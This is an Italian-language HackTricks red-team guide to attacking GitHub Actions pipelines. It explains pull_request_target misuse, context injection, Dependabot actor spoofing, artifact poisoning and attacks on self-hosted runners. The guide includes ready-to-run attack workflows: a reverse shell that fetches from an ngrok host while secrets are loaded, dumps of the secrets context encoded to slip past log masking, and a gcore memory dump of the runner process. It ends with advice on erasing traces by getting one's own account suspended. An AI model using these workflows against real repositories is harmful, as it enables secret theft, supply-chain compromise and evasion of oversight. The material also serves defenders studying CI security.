Abuso di Github Actions

Reading time: 23 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Strumenti

The following tools are useful to find Github Action workflows and even find vulnerable ones:

Informazioni di base

In questa pagina troverai:

  • Un riepilogo di tutti gli impatti di un attaccante che riesce ad accedere a una Github Action
  • Diversi modi per ottenere accesso a una Github Action:
  • Avere i permessi per creare l'action
  • Abusare dei trigger relativi ai pull request
  • Abusare di altre tecniche di accesso esterno
  • Pivoting da un repo già compromesso
  • Infine, una sezione sulle tecniche di post-exploitation per abusare un'Action dall'interno (per causare gli impatti menzionati)

Riepilogo degli impatti

For an introduction about Github Actions check the basic information.

Se puoi eseguire codice arbitrario in GitHub Actions all'interno di un repository, potresti essere in grado di:

  • Rubare secrets montati nella pipeline e abusare dei privilegi della pipeline per ottenere accesso non autorizzato a piattaforme esterne, come AWS e GCP.
  • Compromettere deployment e altri artifact.
  • Se la pipeline fa deploy o conserva asset, potresti alterare il prodotto finale, consentendo un supply chain attack.
  • Eseguire codice su custom workers per abusare della potenza di calcolo e pivotare verso altri sistemi.
  • Sovrascrivere il codice del repository, a seconda dei permessi associati al GITHUB_TOKEN.

GITHUB_TOKEN

This "secret" (coming from ${{ secrets.GITHUB_TOKEN }} and ${{ github.token }}) is given when the admin enables this option:

Questo token è lo stesso che una Github Application userà, quindi può accedere agli stessi endpoint: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

warning

Github dovrebbe rilasciare un flow che permetta l'accesso cross-repository all'interno di GitHub, così un repo può accedere ad altri repo interni usando il GITHUB_TOKEN.

Puoi vedere i possibili permessi di questo token in: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Nota che il token scade dopo il completamento del job.
Questi token hanno questo aspetto: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Alcune cose interessanti che puoi fare con questo token:

bash
# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"

caution

Nota che in diverse occasioni potrai trovare github user tokens inside Github Actions envs or in the secrets. Questi tokens possono darti più privilegi sul repository e sull'organizzazione.

Elencare i secrets nell'output di Github Action
yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Ottieni reverse shell con secrets
yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

È possibile verificare i permessi assegnati a un Github Token nei repository di altri utenti controllando i log delle actions:

Esecuzione consentita

note

Questo sarebbe il modo più semplice per compromettere le Github actions, poiché questo caso presuppone che tu abbia accesso a creare un nuovo repo nell'organizzazione, oppure che tu abbia privilegi di scrittura su un repository.

Se ti trovi in questo scenario puoi semplicemente consultare le Post Exploitation techniques.

Esecuzione dalla creazione del repo

Nel caso in cui i membri di un'organizzazione possano create new repos e tu possa eseguire github actions, puoi create a new repo and steal the secrets set at organization level.

Esecuzione da un nuovo branch

Se puoi create a new branch in a repository that already contains a Github Action configurata, puoi modify essa, upload il contenuto e poi execute that action from the new branch. In questo modo puoi exfiltrate repository and organization level secrets (ma devi sapere come si chiamano).

warning

Qualsiasi restrizione implementata solo all'interno del workflow YAML (per esempio, on: push: branches: [main], job conditionals, or manual gates) può essere modificata dai collaboratori. Senza un'applicazione esterna (branch protections, protected environments, and protected tags), un contributor può retargetare un workflow per farlo eseguire sul proprio branch e abusare dei secrets/permissions montati.

Puoi rendere l'action modificata eseguibile manualmente, quando viene creata una PR o quando viene pushato del codice (a seconda di quanto rumore vuoi fare):

yaml
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches

Esecuzione da fork

note

Esistono diversi trigger che possono permettere a un attaccante di eseguire una Github Action di un altro repository. Se queste action attivabili sono configurate male, un attaccante potrebbe comprometterle.

pull_request

Il trigger workflow pull_request esegue il workflow ogni volta che viene ricevuta una pull request, con alcune eccezioni: per default, se è la prima volta che stai collaborando, un maintainer dovrà approvare l'esecuzione del workflow:

note

Poiché la limitazione di default si applica ai contribuenti alla prima esperienza, potresti contribuire correggendo un bug/typo valido e poi inviare altre PR per abusare dei nuovi privilegi pull_request.

Ho testato e non funziona: Un'altra opzione sarebbe creare un account con il nome di qualcuno che ha contribuito al progetto e cancellare il suo account.

Inoltre, per impostazione predefinita vengono impediti i write permissions e l'accesso ai secrets al repository di destinazione, come menzionato nella docs:

Con l'eccezione di GITHUB_TOKEN, i secrets non vengono passati al runner quando un workflow è attivato da un repository forked. Il GITHUB_TOKEN ha permessi read-only nelle pull request da repository forked.

Un attaccante potrebbe modificare la definizione della Github Action per eseguire operazioni arbitrarie e aggiungere action arbitrarie. Tuttavia, non potrà rubare i secrets né sovrascrivere il repo a causa delle limitazioni menzionate.

caution

Sì, se l'attaccante cambia nella PR la github action che verrà attivata, sarà la sua Github Action a essere eseguita e non quella del repo originario!

Poiché l'attaccante controlla anche il codice eseguito, anche se non ci sono secrets o write permissions su GITHUB_TOKEN, un attaccante potrebbe per esempio caricare artifact malevoli.

pull_request_target

Il trigger workflow pull_request_target ha write permission sul repository di destinazione e accesso ai secrets (e non richiede approvazione).

Nota che il trigger workflow pull_request_target viene eseguito nel contesto base e non in quello fornito dalla PR (per non eseguire codice non affidabile). Per maggiori informazioni su pull_request_target controlla la docs.
Inoltre, per approfondire questo specifico uso pericoloso consulta questo github blog post.

Potrebbe sembrare che, dato che il workflow eseguito è quello definito nella base e non nella PR, sia sicuro usare pull_request_target, ma ci sono alcuni casi in cui non lo è.

E questo avrà accesso ai secrets.

workflow_run

The workflow_run trigger allows to run a workflow from a different one when it's completed, requested or in_progress.

In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:

yaml
on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Moreover, according to the docs: The workflow started by the workflow_run event is able to access secrets and write tokens, even if the previous workflow was not.

Questo tipo di workflow potrebbe essere attaccato se dipende da un workflow che può essere triggered da un utente esterno tramite pull_request o pull_request_target. Un paio di esempi vulnerabili possono essere trovati in questo blog. Il primo consiste nel workflow attivato da workflow_run che scarica il codice dell'attaccante: ${{ github.event.pull_request.head.sha }}
Il secondo consiste nel passare un artifact dal codice untrusted al workflow workflow_run e usare il contenuto di questo artifact in modo che diventi vulnerabile a RCE.

workflow_call

TODO

TODO: Verificare se quando eseguito da un pull_request il codice usato/scaricato è quello dell'origin o quello del fork che ha creato la PR

Abusing Forked Execution

Abbiamo menzionato tutti i modi in cui un attaccante esterno potrebbe far eseguire un workflow GitHub; ora vediamo come queste esecuzioni, se mal configurate, possano essere abusate:

Untrusted checkout execution

Nel caso di pull_request, il workflow verrà eseguito nel contesto della PR (quindi eseguirà il codice maligno della PR), ma qualcuno deve prima autorizzarlo e verrà eseguito con alcune limitazioni.

Nel caso di un workflow che usa pull_request_target or workflow_run che dipende da un workflow che può essere triggerato da pull_request_target or pull_request, verrà eseguito il codice del repo originale, quindi l'attacker cannot control the executed code.

caution

Tuttavia, se l'action ha un explicit PR checkout che prende il codice dalla PR (e non dalla base), utilizzerà il codice controllato dall'attaccante. Per esempio (controlla la riga 12 dove il codice della PR viene scaricato):

# INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

Il potenzialmente untrusted code viene eseguito durante npm install o npm build poiché gli script di build e i packages referenziati sono controllati dall'autore della PR.

warning

Un github dork per cercare actions vulnerabili è: event.pull_request pull_request_target extension:yml comunque, ci sono diversi modi per configurare i job in modo sicuro anche se l'action è configurata in modo insicuro (per esempio usando conditionals su chi è l'actor che genera la PR).

Context Script Injections

Nota che ci sono certi github contexts i cui valori sono controllati dall'utente che crea la PR. Se l'action sta usando quei dati per eseguire qualcosa, potrebbe portare a esecuzione di codice arbitrario:

Gh Actions - Context Script Injections

GITHUB_ENV Script Injection

Dalla docs: You can make an environment variable available to any subsequent steps in a workflow job by defining or updating the environment variable and writing this to the GITHUB_ENV environment file.

Se un attaccante potesse iniettare qualsiasi valore dentro questa variabile env, potrebbe inserire variabili d'ambiente che eseguono codice nei passi successivi come LD_PRELOAD o NODE_OPTIONS.

Per esempio (this and this), immagina un workflow che si fida di un artifact caricato per memorizzarne il contenuto dentro la variabile env GITHUB_ENV. Un attaccante potrebbe caricare qualcosa del genere per comprometterlo:

Dependabot and other trusted bots

Come indicato in this blog post, diverse organizzazioni hanno una Github Action che effettua il merge di qualsiasi PR da dependabot[bot] come in:

yaml
on: pull_request_target
jobs:
auto-merge:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m

Questo è un problema perché il campo github.actor contiene l'utente che ha causato l'ultimo evento che ha attivato il workflow. Ci sono diversi modi per far sì che l'utente dependabot[bot] modifichi una PR. Per esempio:

  • Fare il fork del repository vittima
  • Aggiungere il payload maligno alla tua copia
  • Abilitare Dependabot sul tuo fork aggiungendo una dependency obsoleta. Dependabot creerà una branch che corregge la dependency con codice maligno.
  • Aprire una Pull Request al repository vittima da quella branch (la PR sarà creata dall'utente quindi ancora non succederà nulla)
  • Poi, l'attaccante torna alla PR iniziale che Dependabot ha aperto nel suo fork ed esegue @dependabot recreate
  • Quindi, Dependabot esegue alcune azioni in quella branch, che modificano la PR sul repository vittima, il che rende dependabot[bot] l'actor dell'ultimo evento che ha attivato il workflow (e quindi, il workflow viene eseguito).

Andando oltre, cosa succede se, invece di un merge, la Github Action avesse una command injection come in:

yaml
on: pull_request_target
jobs:
just-printing-stuff:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}

Well, il post originale propone due opzioni per abusare di questo comportamento; la seconda è:

  • Fork del repository vittima e abilitare Dependabot con una dependency obsoleta.
  • Create un nuovo branch con il codice malevolo di shell injection.
  • Cambiare il default branch del repo in quello.
  • Create una PR da questo branch verso il repository vittima.
  • Eseguire @dependabot merge nella PR che Dependabot ha aperto nel suo fork.
  • Dependabot unirà le sue modifiche nel default branch del tuo forked repository, aggiornando la PR nel repository vittima rendendo ora dependabot[bot] l'attore dell'ultimo evento che ha innescato il workflow e usando un nome di branch malevolo.

Vulnerable Third Party Github Actions

dawidd6/action-download-artifact

Come menzionato in this blog post, questa Github Action permette di accedere ad artifact provenienti da workflow differenti e persino da repository diversi.

Il problema è che se il parametro path non è impostato, l'artifact viene estratto nella directory corrente e può sovrascrivere file che potrebbero essere poi usati o addirittura eseguiti nel workflow. Quindi, se l'Artifact è vulnerabile, un attaccante potrebbe abusarne per compromettere altri workflow che si fidano dell'Artifact.

Example of vulnerable workflow:

yaml
on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Questo potrebbe essere attaccato con questo workflow:

yaml
name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Altri External Access

Deleted Namespace Repo Hijacking

Se un account cambia nome, un altro utente potrebbe registrare un account con quel nome dopo un po' di tempo. Se un repository aveva meno di 100 stelle prima della modifica del nome, Github permetterà al nuovo utente registrato con lo stesso nome di creare un repository con lo stesso nome di quello cancellato.

caution

Quindi se un action sta usando un repo di un account inesistente, è comunque possibile che un attacker possa creare quell'account e compromettere l'action.

Se altri repository stavano usando dipendenze dai repo di questo user, un attacker sarà in grado di effettuare l'hijacking. Qui trovi una spiegazione più completa: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/


Repo Pivoting

note

In questa sezione parleremo di tecniche che permetterebbero di pivot from one repo to another supponendo di avere qualche tipo di accesso sul primo (vedi la sezione precedente).

Cache Poisoning

Una cache è mantenuta tra le workflow runs nella stessa branch. Questo significa che se un attacker compromette un package che viene poi memorizzato nella cache e scaricato ed eseguito da una workflow più privilegiata, sarà in grado di compromettere anche quella workflow.

GH Actions - Cache Poisoning

Artifact Poisoning

I workflow possono usare artifacts from other workflows and even repos; se un attacker riesce a compromettere la Github Action che uploads an artifact che viene poi utilizzato da un altro workflow, potrebbe compromettere gli altri workflow:

Gh Actions - Artifact Poisoning


Post Exploitation from an Action

Github Action Policies Bypass

Come commentato in questo post del blog, anche se un repository o un'organizzazione ha una policy che restringe l'uso di certe actions, un attacker potrebbe semplicemente scaricare (git clone) un action dentro il workflow e poi referenziarlo come action locale. Poiché le policy non influenzano i percorsi locali, l'action sarà eseguita senza alcuna restrizione.

Example:

yaml
on: [push, pull_request]

jobs:
test:
runs-on: ubuntu-latest
steps:
- run: |
mkdir -p ./tmp
git clone https://github.com/actions/checkout.git ./tmp/checkout

- uses: ./tmp/checkout
with:
repository: woodruffw/gha-hazmat
path: gha-hazmat

- run: ls && pwd

- run: ls tmp/checkout

Accesso ad AWS, Azure e GCP tramite OIDC

Consulta le seguenti pagine:

AWS - Federation Abuse

Az Federation Abuse

GCP - Federation Abuse

Accesso ai secrets

Se stai iniettando contenuto in uno script è utile sapere come puoi accedere ai secrets:

  • Se il secret o il token è impostato come variabile d'ambiente, può essere direttamente ottenuto dall'ambiente usando printenv.
Elenca i secrets nell'output di Github Action
yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Ottieni reverse shell con secrets
yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
  • Se il secret viene usato direttamente in un'espressione, lo script shell generato viene memorizzato su disco ed è accessibile.

cat /home/runner/work/_temp/*

- Per una JavaScript action i secrets vengono passati tramite variabili d'ambiente
- ```bash
ps axe | grep node
  • Per una custom action, il rischio può variare a seconda di come un programma usa il secret ottenuto dall'argument:
yaml
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
  • Enumerare tutti i secrets tramite il secrets context (livello collaborator). Un contributor con write access può modificare un workflow su qualsiasi branch per dumpare tutti i secrets del repository/org/environment. Usa doppio base64 per eludere il log masking di GitHub e decodifica localmente:
yaml
name: Steal secrets
on:
push:
branches: [ attacker-branch ]
jobs:
dump:
runs-on: ubuntu-latest
steps:
- name: Double-base64 the secrets context
run: |
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0

Decodifica localmente:

bash
echo "ZXdv...Zz09" | base64 -d | base64 -d

Suggerimento: per maggiore stealth durante i test, cifra prima di stampare (openssl è preinstallato sui GitHub-hosted runners).

Abuso dei self-hosted runners

Per trovare quali Github Actions are being executed in non-github infrastructure cerca runs-on: self-hosted nella configurazione yaml di Github Action.

Self-hosted runners potrebbero avere accesso a informazioni sensibili aggiuntive, ad altri sistemi di rete (endpoint vulnerabili nella rete? metadata service?) oppure, anche se è isolato e distrutto, più di una action potrebbe essere eseguita contemporaneamente e quella malevola potrebbe rubare i secrets dell'altra.

Nei self-hosted runners è anche possibile ottenere i secrets from the _Runner.Listener_** process** che conterrà tutti i secrets dei workflow in ogni fase, effettuando il dump della sua memoria:

bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Consulta questo post per maggiori informazioni.

Github Docker Images Registry

È possibile creare Github actions che build and store a Docker image inside Github.
Un esempio è disponibile nella sezione espandibile seguente:

Github Action Build & Push Docker Image
yaml
[...]

- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1

- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}

- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

Come puoi vedere nel codice precedente, il Github registry è ospitato in ghcr.io.

Un utente con permessi di lettura sul repo potrà quindi scaricare la Docker Image usando un personal access token:

bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Poi, l'utente potrebbe cercare leaked secrets in the Docker image layers:

Docker Forensics - HackTricks

Informazioni sensibili nei log di Github Actions

Anche se Github cerca di detect secret values nei actions logs e di avoid showing questi valori, other sensitive data che potrebbe essere stato generato durante l'esecuzione dell'action non verrà nascosto. Ad esempio, un JWT firmato con un secret value non verrà nascosto a meno che non sia specifically configured.

Coprire le tue tracce

(Technique from here) Prima di tutto, qualsiasi PR aperta è chiaramente visibile al pubblico su Github e all'account GitHub bersaglio. Su GitHub, per impostazione predefinita, non possiamo cancellare una PR da Internet, ma c'è una svolta. Per gli account Github che vengono sospesi da Github, tutte le loro PR vengono automaticamente eliminate e rimosse da Internet. Quindi, per nascondere la tua attività devi ottenere la sospensione del tuo GitHub account o far segnare il tuo account. Questo nasconderebbe tutte le tue attività su GitHub da Internet (fondamentalmente rimuovere tutte le tue exploit PR).

Un'organizzazione su GitHub è molto proattiva nel segnalare account a GitHub. Tutto quello che devi fare è condividere “some stuff” in un Issue e si assicureranno che il tuo account venga sospeso in 12 ore :p e voilà, il tuo exploit diventa invisibile su github.

warning

L'unico modo per un'organizzazione di capire di essere stata presa di mira è controllare i log GitHub dal SIEM, poiché dall'interfaccia GitHub la PR sarebbe stata rimossa.

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks